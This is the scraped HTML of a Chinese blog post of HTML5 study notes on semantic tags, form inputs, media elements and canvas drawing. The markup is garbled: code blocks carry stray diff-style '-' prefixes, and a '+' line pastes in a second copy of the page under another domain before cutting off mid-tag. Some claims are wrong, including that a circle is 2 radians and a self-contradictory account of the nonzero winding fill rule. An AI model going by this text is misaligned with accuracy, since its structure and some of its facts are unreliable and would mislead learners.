<!"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"html5学习笔记","item":"https://xiaochenabc123.github.io/posts/12/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"html5学习笔记","name":"html5学习笔记","description":"HTML5是HTML标准的第5代标准，主要目的是语义化并且提供多媒体的嵌入\nHTML是什么？HTML全称为HyperTextMarkupLanguage，中文叫超文本标记语言，简称HTML\n而HTML5是一个标准，指的是第五代HTML标准\nHTML5主要的新特性：\n语义特性，本地存储特性，设备兼容特性，连接特性，网页多媒体特性，性能与集成特性，CSS3特性\nHTML的块级与行级\n块级元素的特征：\n独占一行，不和其他元素待在同一行上，能设置宽和高\n默认宽度是该元素的容器的100%，不过可以设置宽度\n常用的块级元素有div，ul，li，dl，dt，h1-h6\n行级元素的特征：\n可以和其他元素待在同一行上，不能设置宽和高\n它的宽度就是它的文字或者图片的宽度\n常用的行级元素有a，span\n行内块级元素的特征：\n可以设置宽和高，可以一行多个\n常见的行内块级元素有input，img\n转换元素为块级或者行内\ndisplay：block //定义元素为块级元素\ndisplay: inline //定义元素为行内元素\ndisplay：inline-block //定义元素为行内块级元素。\n这三个的区别只有三个，排列分式，设置宽高，默认宽度\nhtml语义\n语义化：使得页面可以很好的向浏览器和开发者描述其意义\n语义化的好处：\n方便开发团队的前期开发和后期维护，不只是作用于自己的开发团队，也方便其他国家的开发者能理解网页的结构；\n在css文件丢失的情况下，也能表示出好的内容结构和代码结构，方便用户阅读；\n方便辅助技术能更好的阅读或者转译网页，方便有障碍人士阅读；\n良好的结构和语义，可以提高搜索引擎爬虫的有效爬取；\n重点：用正确的标签做正确的事！！！\n要注意可以改变样式的标签不一定是有居于语义的\n在没有出现语义元素前，几乎都是使用div或者span，加类加id\n没有语义的元素最适合当容器使用了\n常用的非语义元素有\u0026lt;div\u0026gt;和\u0026lt;span\u0026gt;\r常用的语义元素有\u0026lt;header\u0026gt;和\u0026lt;footer\u0026gt;\r\u0026lt;header\u0026gt;：页眉，一般包括网站logo，主导航，搜索框等；\r\u0026lt;nav\u0026gt;：导航，链接；\r\u0026lt;main\u0026gt;：定义文章的主要内容，一个页面只能使用一次；\r\u0026lt;article\u0026gt;：定义一份独立的内容，脱离其他内容或者其他部分，独立于文档的其余部分；\r\u0026lt;section\u0026gt;：定义内容的节（段）；\r\u0026lt;footer\u0026gt;：页脚，一般包含版权信息或者链接等；\r\u0026lt;aside\u0026gt;：侧边栏，一般作为附属信息，例如导航索引，广告等；\rmeta viewport\nviewport 是指 web 页面上的可见区域\n\u0026lt;meta name=\u0026quot;viewport\u0026quot; content=\u0026quot;width=device-width, initial-scale=1.0\u0026quot;\u0026gt;\rdevice-width指设备的理想宽度,不同的设备 device-width 是不一样的\nnitial-scale=1.0 是指默认缩放大小是1，也就是默认不缩放\nmaximum-scale=1.0 是指最大缩放大小是1\n标签使用\u0026lt;和\u0026gt;括起来，例如\u0026lt;div\u0026gt;\nhtml标签大多都是成对出现的，分开始标签和结束标签，结束标签比开始标签多了个/\n例如： html不区分大小写。所以\u0026lt;DIV\u0026gt;和\u0026lt;div\u0026gt;作用一样。建议使用小写\n\u0026lt;!DOCTYPE html\u0026gt;声明这是一个html5文件，声明位于\u0026lt;html\u0026gt;前面\r\u0026lt;html\u0026gt; 标识HTML文档的开始\r\u0026lt;head\u0026gt;表明一些和html文档有关的信息，例如title\r\u0026lt;body\u0026gt;html文档的主体\r\u0026lt;!","keywords":["html"],"articleBody":"HTML5是HTML标准的第5代标准，主要目的是语义化并且提供多媒体的嵌入\nHTML是什么？HTML全称为HyperTextMarkupLanguage，中文叫超文本标记语言，简称HTML\n而HTML5是一个标准，指的是第五代HTML标准\nHTML5主要的新特性：\n语义特性，本地存储特性，设备兼容特性，连接特性，网页多媒体特性，性能与集成特性，CSS3特性\nHTML的块级与行级\n块级元素的特征：\n独占一行，不和其他元素待在同一行上，能设置宽和高\n默认宽度是该元素的容器的100%，不过可以设置宽度\n常用的块级元素有div，ul，li，dl，dt，h1-h6\n行级元素的特征：\n可以和其他元素待在同一行上，不能设置宽和高\n它的宽度就是它的文字或者图片的宽度\n常用的行级元素有a，span\n行内块级元素的特征：\n可以设置宽和高，可以一行多个\n常见的行内块级元素有input，img\n转换元素为块级或者行内\ndisplay：block //定义元素为块级元素\ndisplay: inline //定义元素为行内元素\ndisplay：inline-block //定义元素为行内块级元素。\n这三个的区别只有三个，排列分式，设置宽高，默认宽度\nhtml语义\n语义化：使得页面可以很好的向浏览器和开发者描述其意义\n语义化的好处：\n方便开发团队的前期开发和后期维护，不只是作用于自己的开发团队，也方便其他国家的开发者能理解网页的结构；\n在css文件丢失的情况下，也能表示出好的内容结构和代码结构，方便用户阅读；\n方便辅助技术能更好的阅读或者转译网页，方便有障碍人士阅读；\n良好的结构和语义，可以提高搜索引擎爬虫的有效爬取；\n重点：用正确的标签做正确的事！！！\n要注意可以改变样式的标签不一定是有居于语义的\n在没有出现语义元素前，几乎都是使用div或者span，加类加id\n没有语义的元素最适合当容器使用了\n常用的非语义元素有和\r常用的语义元素有和\r：页眉，一般包括网站logo，主导航，搜索框等；\r：导航，链接；\r：定义文章的主要内容，一个页面只能使用一次；\r：定义一份独立的内容，脱离其他内容或者其他部分，独立于文档的其余部分；\r：定义内容的节（段）；\r：页脚，一般包含版权信息或者链接等；\r：侧边栏，一般作为附属信息，例如导航索引，广告等；\rmeta viewport\nviewport 是指 web 页面上的可见区域\ndevice-width指设备的理想宽度,不同的设备 device-width 是不一样的\nnitial-scale=1.0 是指默认缩放大小是1，也就是默认不缩放\nmaximum-scale=1.0 是指最大缩放大小是1\n标签使用\u003c和\u003e括起来，例如\nhtml标签大多都是成对出现的，分开始标签和结束标签，结束标签比开始标签多了个/\n例如： html不区分大小写。所以和作用一样。建议使用小写\n\u003c!DOCTYPE html\u003e声明这是一个html5文件，声明位于前面\r标识HTML文档的开始\r表明一些和html文档有关的信息，例如title\rhtml文档的主体\r段落\n~\r","wordCount":"634","inLanguage":"en","datePublished":"2021-06-16T09:22:00Z","dateModified":"2021-06-16T09:22:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/12/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>html5学习笔记</h1><div class=post-meta><span title='2021-06-16 09:22:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;3 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/html5%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>HTML5是HTML标准的第5代标准，主要目的是语义化并且提供多媒体的嵌入</p><hr><p>HTML是什么？HTML全称为HyperTextMarkupLanguage，中文叫超文本标记语言，简称HTML</p><p>而HTML5是一个标准，指的是第五代HTML标准</p><p>HTML5主要的新特性：</p><p>语义特性，本地存储特性，设备兼容特性，连接特性，网页多媒体特性，性能与集成特性，CSS3特性</p><p>HTML的块级与行级</p><p>块级元素的特征：</p><p>独占一行，不和其他元素待在同一行上，能设置宽和高</p><p>默认宽度是该元素的容器的100%，不过可以设置宽度</p><p>常用的块级元素有div，ul，li，dl，dt，h1-h6</p><p>行级元素的特征：</p><p>可以和其他元素待在同一行上，不能设置宽和高</p><p>它的宽度就是它的文字或者图片的宽度</p><p>常用的行级元素有a，span</p><p>行内块级元素的特征：</p><p>可以设置宽和高，可以一行多个</p><p>常见的行内块级元素有input，img</p><p>转换元素为块级或者行内</p><p>display：block //定义元素为块级元素</p><p>display: inline //定义元素为行内元素</p><p>display：inline-block //定义元素为行内块级元素。</p><p>这三个的区别只有三个，排列分式，设置宽高，默认宽度</p><p>html语义</p><p>语义化：使得页面可以很好的向浏览器和开发者描述其意义</p><p>语义化的好处：</p><p>方便开发团队的前期开发和后期维护，不只是作用于自己的开发团队，也方便其他国家的开发者能理解网页的结构；</p><p>在css文件丢失的情况下，也能表示出好的内容结构和代码结构，方便用户阅读；</p><p>方便辅助技术能更好的阅读或者转译网页，方便有障碍人士阅读；</p><p>良好的结构和语义，可以提高搜索引擎爬虫的有效爬取；</p><p>重点：用正确的标签做正确的事！！！</p><p>要注意可以改变样式的标签不一定是有居于语义的</p><p>在没有出现语义元素前，几乎都是使用div或者span，加类加id</p><p>没有语义的元素最适合当容器使用了</p><pre><code>常用的非语义元素有&lt;div&gt;和&lt;span&gt;
-
-常用的语义元素有&lt;header&gt;和&lt;footer&gt;
-
-
-&lt;header&gt;：页眉，一般包括网站logo，主导航，搜索框等；
-
-&lt;nav&gt;：导航，链接；
-
-&lt;main&gt;：定义文章的主要内容，一个页面只能使用一次；
-
-&lt;article&gt;：定义一份独立的内容，脱离其他内容或者其他部分，独立于文档的其余部分；
-
-&lt;section&gt;：定义内容的节（段）；
-
-&lt;footer&gt;：页脚，一般包含版权信息或者链接等；
-
-&lt;aside&gt;：侧边栏，一般作为附属信息，例如导航索引，广告等；
-</code></pre><p>meta viewport</p><p>viewport 是指 web 页面上的可见区域</p><pre><code>&lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&gt;
-</code></pre><p>device-width指设备的理想宽度,不同的设备 device-width 是不一样的</p><p>nitial-scale=1.0 是指默认缩放大小是1，也就是默认不缩放</p><p>maximum-scale=1.0 是指最大缩放大小是1</p><hr><p>标签使用&lt;和>括起来，例如&lt;div></p><p>html标签大多都是成对出现的，分开始标签和结束标签，结束标签比开始标签多了个/</p><p>例如：</p><p>html不区分大小写。所以&lt;DIV>和&lt;div>作用一样。建议使用小写</p><pre><code>&lt;!DOCTYPE html&gt;声明这是一个html5文件，声明位于&lt;html&gt;前面
-&lt;html&gt; 标识HTML文档的开始
-&lt;head&gt;表明一些和html文档有关的信息，例如title
-&lt;body&gt;html文档的主体
-
-&lt;!--这是一个注释--&gt;
-</code></pre><p>段落</p><pre><code>&lt;span&gt;&lt;span&gt;
-&lt;h1&gt;~&lt;h6&gt;
-&lt;div&gt;&lt;/div
-
-
-定义头部区域&lt;header&gt;
-
-定义底部区域&lt;footer&gt;
-
-定义区段&lt;section&gt;
-
-定义侧边栏区域&lt;aside&gt;
-
-换行&lt;br&gt;
-
-文本输入框 &lt;input&gt;
-</code></pre><p>select+option 选择列表</p><hr><p>多媒体元素（video和audio）</p><p>例如：</p><pre><code>&lt;video src=&quot;hallo.mp4&quot; controls autoplay=&quot;autoplay&quot; loop&gt;&lt;/video&gt;
-
-&lt;audio src=&quot;hallo.mp3&quot; controls autoplay=&quot;autoplay&quot; loop&gt;&lt;/audio&gt;
-</code></pre><p>controls属性是显示控制栏，autoplay属性是自动播放，loop属性是循环播放</p><p>注意：video元素支持的视频格式有mp4，ogg，webm，不过每个格式在不同浏览器内核兼容性不一样</p><p>source标签就完美解决这个问题，例如：</p><pre><code>&lt;video&gt;
-    &lt;source src=&quot;hallo.mp4&quot;&gt;
-    &lt;source src=&quot;hallo.ogg&quot;&gt;
-    &lt;source src=&quot;hallo.WebM&quot;&gt;
-&lt;/video&gt;
-</code></pre><p>播放顺序是如果第一个支持就是只播放第一个，如果第一个不支持，第二个支持，就播放第二个</p><p>表单控件可以控制输入内容必须为指定合法的数据，例如：</p><pre><code>&lt;form&gt;	
-    邮箱地址：
-    &lt;input type=&quot;email&quot;&gt;
-&lt;/form&gt;
-</code></pre><p>type新的属性值有：</p><p>email：邮箱地址</p><p>url：网址</p><p>number：数字</p><p>color：拾色器</p><p>time：时，分</p><p>week：周</p><p>month：月</p><p>date：年，月，日</p><p>datetime-local：年，月，日，时，分，秒</p><p>range：滑块</p><p>form的一些属性</p><p>autocomplete：该属性可以实现自动输入功能，浏览器基于之前输入并且提交过的值，属性值有on和off</p><p>novalidate：该属性是是否关闭校验，搭配表单控件食用更佳</p><p>input的一些属性</p><p>autofocus：自动获取焦点</p><p>placeholder：提示信息（占位符）</p><p>required：必填项</p><p>list：带本地数据缓存列表的自动输入，例如</p><pre><code>&lt;form&gt;
-    &lt;input type=&quot;url&quot; list=&quot;url_list&quot; name=&quot;link&quot;/&gt;
-    &lt;datalist id=&quot;url_list&quot;&gt;
-        &lt;option label=&quot;blog&quot; value=&quot;https://xiaochenabc123.test.com&quot; /&gt;
-        &lt;option label=&quot;baidu&quot; value=&quot;https://www.baidu.com&quot; /&gt;
-        &lt;option label=&quot;github&quot; value=&quot;https://www.github.com&quot; /&gt;
-    &lt;/datalist&gt;
-    &lt;input type=&quot;submit&quot; /&gt;
-&lt;/form&gt;
-</code></pre><p>multiple：多选项</p><p>如果一个表单不被form元素包含，但是又想提交过去，那么可以指定该input元素的form属性值为form元素的id</p><p>canvas元素用于图形的绘制，该元素只是一个容器，还需要js来绘制，例如：</p><pre><code>&lt;canvas width=&quot;300px&quot; height=&quot;300px&quot;&gt;&lt;/canvas&gt;
-&lt;style&gt;
-    canvas{
-        border: 1px solid #000;
-    }
-&lt;/style&gt;
-
-&lt;script&gt;
-    //获取dom对象
-    var canvas =document.querySelector(&quot;canvas&quot;);
-    //获取绘图上下文
-    var ctx=canvas.getContext(&quot;2d&quot;);
-    ctx.fillStyle=&quot;#000&quot;;
-    ctx.fillRect(0,0,100,100);
-    // Canvas坐标是二维的，代表左上角的坐标为0,0
-&lt;/script&gt;
-</code></pre><p>canvas画线，提供了两个方法moveTo()和lineTo()，例如:</p><pre><code>var canvas =document.querySelector(&quot;canvas&quot;);
-var ctx=canvas.getContext(&quot;2d&quot;);
-ctx.moveTo(100, 100); // 线条开始坐标
-ctx.lineTo(200, 100); // 线条结束坐标
-ctx.stroke(); // 绘制
-</code></pre><p>画圆圈：</p><pre><code>var canvas =document.querySelector(&quot;canvas&quot;);
-var ctx=canvas.getContext(&quot;2d&quot;);
-ctx.beginPath();
-ctx.arc(100,100,80,0,2*Math.PI,false);  // 圆心的坐标（x，y），半径，开始弧度，结束弧度，方向(默认为false顺时针,true代表逆时针)
-ctx.stroke();
-</code></pre><p>以圆心为中心向右（3点方向）为0度角，顺时针为正，逆时针为负</p><p>1角度=π/180度，1弧度=180度/π,一个圆有360度，也就是说一个圆是2弧度</p><p>30度=π/6,60度=π/3,90度=π/2,180度=π,360度=2π，依此类推</p><p>x坐标 = 圆心的横坐标+圆的半径*cos(弧度)</p><p>y坐标 = 圆心的纵坐标+圆的半径*sin(弧度)</p><p>画三角形</p><pre><code> var canvas =document.querySelector(&quot;canvas&quot;);
- var ctx=canvas.getContext(&quot;2d&quot;);
- ctx.moveTo(10, 10);
- ctx.lineTo(10, 100);
- ctx.lineTo(70, 100);
- ctx.closePath(); // 闭合
- ctx.stroke();
- ctx.fillStyle=&quot;#ccc&quot;; // 填充颜色
- ctx.fill();
-</code></pre><p>平移(坐标系圆点的平移)</p><p>translate(x,y)</p><p>注意：translate不能只设置一个值(除非使用translateX或者translateY进行单独设置值)，和moveTo()的区别就是moveTo是修改开始绘制的位置，圆点位置没有改变，而translate是改变圆点位置，例如：</p><pre><code>var canvas =document.querySelector(&quot;canvas&quot;);
-var ctx=canvas.getContext(&quot;2d&quot;);
-ctx.translate(100,100);
-ctx.fillStyle=&quot;gray&quot;;
-ctx.fillRect(50,50,100,50);
-</code></pre><p>旋转</p><pre><code>var canvas =document.querySelector(&quot;canvas&quot;);
-var ctx=canvas.getContext(&quot;2d&quot;);
-ctx.translate(100, 100);
-ctx.rotate(Math.PI/6);
-ctx.moveTo(0, 0);
-ctx.lineTo(200, 0);
-ctx.lineTo(0, 100);
-ctx.stroke();
-</code></pre><p>缩放</p><pre><code>var canvas =document.querySelector(&quot;canvas&quot;);
-var ctx=canvas.getContext(&quot;2d&quot;);
-ctx.translate(300,200);
-ctx.scale(0.3, 0.5); // x轴和y轴缩放倍数，例如0.3，0.5
-ctx.arc(10,10,200,0,2*Math.PI);
-ctx.stroke();
-</code></pre><p>线与线之间链接的方式，主要用到lineJoin属性，属性值有miter（尖角，默认），bevel（斜角），round（圆角），例如：</p><pre><code>var canvas =document.querySelector(&quot;canvas&quot;);
-var ctx=canvas.getContext(&quot;2d&quot;);
-ctx.lineWidth=10; // 线的宽度
-ctx.lineJoin=&quot;bevel&quot;; // 线与线的链接方式
-ctx.moveTo(80, 80); // 线条开始坐标
-ctx.lineTo(200, 130); // 线条结束坐标
-ctx.lineTo(150, 30);
-ctx.stroke(); // 绘制
-</code></pre><p>线帽</p><p>主要实现方式就是使用lineCap()属性，例如：</p><pre><code>var canvas =document.querySelector(&quot;canvas&quot;);
-var ctx=canvas.getContext(&quot;2d&quot;);
-ctx.lineWidth=10;
-ctx.lineCap=&quot;round&quot;;
-ctx.moveTo(50,50);
-ctx.lineTo(200,50);
-ctx.stroke();
-</code></pre><p>该属性有三个值，分别是butt（默认），round（圆形线帽），square（正方形线帽）</p><p>butt和square的区别就是，square（round也是）会导致线条变长一点</p><p>ctx.beginPath(); // 设置新的画布</p><p>非零环绕</p><p>如果想画一个不规则的图形，然后填充颜色，那么怎么知道那里该填色那里不填色呢，那么就是需要用到一个叫非零环绕的数学方法，实现原理很简单，描绘路径一笔完成就可以了，例如：</p><pre><code>var canvas =document.querySelector(&quot;canvas&quot;);
-var ctx=canvas.getContext(&quot;2d&quot;);
-ctx.arc(120,120,80,0,2*Math.PI,false); // .arc()方法中最后一个参数是设置路径方向的
-ctx.arc(120,120,100,0,2*Math.PI,true);
-ctx.stroke();
-ctx.fillStyle=&quot;#ccc&quot;; // 填充颜色
-ctx.fill();
-</code></pre><p>非零环绕：</p><p>以点为圆心,绘制一条射线,以射线为半径顺时针旋转,相交的边同向记为+1,反方向记为-1,如果相加的区域等于0,则不填充,非零区域填充</p><p>例如：假设一个点，以这个点绘制一条射线，如果这个射线和这个点的一条路径正方向相交，则为+1，或者再有一个点，如果这个点和这个点的一条路径正方向，但是又有一条路径是反方向相交的，那么就是+1-1，那么就是0，只要结果不是0，那么射线所在的区域就是在外面，不填充</p><p>线性渐变</p><pre><code>var canvas =document.querySelector(&quot;canvas&quot;);
-var ctx=canvas.getContext(&quot;2d&quot;);
-var clg=ctx.createLinearGradient(0,0,200,0);
-clg.addColorStop(0,&quot;red&quot;);
-clg.addColorStop(1,&quot;black&quot;);
-ctx.lineWidth=&quot;50&quot;;
-ctx.strokeStyle=clg;
-ctx.moveTo(100, 100); 
-ctx.lineTo(200, 100); 
-ctx.stroke(); 
+<!DOCTYPE html>声明这是一个html5文件，声明位于<html>前面 <html> 标识HTML文档的开始 <head>表明一些和html文档有关的信息，例如title <body>html文档的主体 <!"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"html5学习笔记","item":"https://chenjunlinabc.github.io/posts/12/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"html5学习笔记","name":"html5学习笔记","description":"HTML5是HTML标准的第5代标准，主要目的是语义化并且提供多媒体的嵌入\nHTML是什么？HTML全称为HyperTextMarkupLanguage，中文叫超文本标记语言，简称HTML\n而HTML5是一个标准，指的是第五代HTML标准\nHTML5主要的新特性：\n语义特性，本地存储特性，设备兼容特性，连接特性，网页多媒体特性，性能与集成特性，CSS3特性\nHTML的块级与行级\n块级元素的特征：\n独占一行，不和其他元素待在同一行上，能设置宽和高\n默认宽度是该元素的容器的100%，不过可以设置宽度\n常用的块级元素有div，ul，li，dl，dt，h1-h6\n行级元素的特征：\n可以和其他元素待在同一行上，不能设置宽和高\n它的宽度就是它的文字或者图片的宽度\n常用的行级元素有a，span\n行内块级元素的特征：\n可以设置宽和高，可以一行多个\n常见的行内块级元素有input，img\n转换元素为块级或者行内\ndisplay：block //定义元素为块级元素\ndisplay: inline //定义元素为行内元素\ndisplay：inline-block //定义元素为行内块级元素。\n这三个的区别只有三个，排列分式，设置宽高，默认宽度\nhtml语义\n语义化：使得页面可以很好的向浏览器和开发者描述其意义\n语义化的好处：\n方便开发团队的前期开发和后期维护，不只是作用于自己的开发团队，也方便其他国家的开发者能理解网页的结构；\n在css文件丢失的情况下，也能表示出好的内容结构和代码结构，方便用户阅读；\n方便辅助技术能更好的阅读或者转译网页，方便有障碍人士阅读；\n良好的结构和语义，可以提高搜索引擎爬虫的有效爬取；\n重点：用正确的标签做正确的事！！！\n要注意可以改变样式的标签不一定是有居于语义的\n在没有出现语义元素前，几乎都是使用div或者span，加类加id\n没有语义的元素最适合当容器使用了\n常用的非语义元素有\u0026lt;div\u0026gt;和\u0026lt;span\u0026gt; 常用的语义元素有\u0026lt;header\u0026gt;和\u0026lt;footer\u0026gt; \u0026lt;header\u0026gt;：页眉，一般包括网站logo，主导航，搜索框等； \u0026lt;nav\u0026gt;：导航，链接； \u0026lt;main\u0026gt;：定义文章的主要内容，一个页面只能使用一次； \u0026lt;article\u0026gt;：定义一份独立的内容，脱离其他内容或者其他部分，独立于文档的其余部分； \u0026lt;section\u0026gt;：定义内容的节（段）； \u0026lt;footer\u0026gt;：页脚，一般包含版权信息或者链接等； \u0026lt;aside\u0026gt;：侧边栏，一般作为附属信息，例如导航索引，广告等； meta viewport\nviewport 是指 web 页面上的可见区域\n\u0026lt;meta name=\u0026quot;viewport\u0026quot; content=\u0026quot;width=device-width, initial-scale=1.0\u0026quot;\u0026gt; device-width指设备的理想宽度,不同的设备 device-width 是不一样的\nnitial-scale=1.0 是指默认缩放大小是1，也就是默认不缩放\nmaximum-scale=1.0 是指最大缩放大小是1\n标签使用\u0026lt;和\u0026gt;括起来，例如\u0026lt;div\u0026gt;\nhtml标签大多都是成对出现的，分开始标签和结束标签，结束标签比开始标签多了个/\n例如： html不区分大小写。所以\u0026lt;DIV\u0026gt;和\u0026lt;div\u0026gt;作用一样。建议使用小写\n\u0026lt;!DOCTYPE html\u0026gt;声明这是一个html5文件，声明位于\u0026lt;html\u0026gt;前面 \u0026lt;html\u0026gt; 标识HTML文档的开始 \u0026lt;head\u0026gt;表明一些和html文档有关的信息，例如title \u0026lt;body\u0026gt;html文档的主体 \u0026lt;!","keywords":["html"],"articleBody":"HTML5是HTML标准的第5代标准，主要目的是语义化并且提供多媒体的嵌入\nHTML是什么？HTML全称为HyperTextMarkupLanguage，中文叫超文本标记语言，简称HTML\n而HTML5是一个标准，指的是第五代HTML标准\nHTML5主要的新特性：\n语义特性，本地存储特性，设备兼容特性，连接特性，网页多媒体特性，性能与集成特性，CSS3特性\nHTML的块级与行级\n块级元素的特征：\n独占一行，不和其他元素待在同一行上，能设置宽和高\n默认宽度是该元素的容器的100%，不过可以设置宽度\n常用的块级元素有div，ul，li，dl，dt，h1-h6\n行级元素的特征：\n可以和其他元素待在同一行上，不能设置宽和高\n它的宽度就是它的文字或者图片的宽度\n常用的行级元素有a，span\n行内块级元素的特征：\n可以设置宽和高，可以一行多个\n常见的行内块级元素有input，img\n转换元素为块级或者行内\ndisplay：block //定义元素为块级元素\ndisplay: inline //定义元素为行内元素\ndisplay：inline-block //定义元素为行内块级元素。\n这三个的区别只有三个，排列分式，设置宽高，默认宽度\nhtml语义\n语义化：使得页面可以很好的向浏览器和开发者描述其意义\n语义化的好处：\n方便开发团队的前期开发和后期维护，不只是作用于自己的开发团队，也方便其他国家的开发者能理解网页的结构；\n在css文件丢失的情况下，也能表示出好的内容结构和代码结构，方便用户阅读；\n方便辅助技术能更好的阅读或者转译网页，方便有障碍人士阅读；\n良好的结构和语义，可以提高搜索引擎爬虫的有效爬取；\n重点：用正确的标签做正确的事！！！\n要注意可以改变样式的标签不一定是有居于语义的\n在没有出现语义元素前，几乎都是使用div或者span，加类加id\n没有语义的元素最适合当容器使用了\n常用的非语义元素有和 常用的语义元素有和 ：页眉，一般包括网站logo，主导航，搜索框等； ：导航，链接； ：定义文章的主要内容，一个页面只能使用一次； ：定义一份独立的内容，脱离其他内容或者其他部分，独立于文档的其余部分； ：定义内容的节（段）； ：页脚，一般包含版权信息或者链接等； ：侧边栏，一般作为附属信息，例如导航索引，广告等； meta viewport\nviewport 是指 web 页面上的可见区域\ndevice-width指设备的理想宽度,不同的设备 device-width 是不一样的\nnitial-scale=1.0 是指默认缩放大小是1，也就是默认不缩放\nmaximum-scale=1.0 是指最大缩放大小是1\n标签使用\u003c和\u003e括起来，例如\nhtml标签大多都是成对出现的，分开始标签和结束标签，结束标签比开始标签多了个/\n例如： html不区分大小写。所以和作用一样。建议使用小写\n\u003c!DOCTYPE html\u003e声明这是一个html5文件，声明位于前面 标识HTML文档的开始 表明一些和html文档有关的信息，例如title html文档的主体 段落\n~ ","wordCount":"634","inLanguage":"en","datePublished":"2021-06-16T09:22:00Z","dateModified":"2021-06-16T09:22:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/12/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a 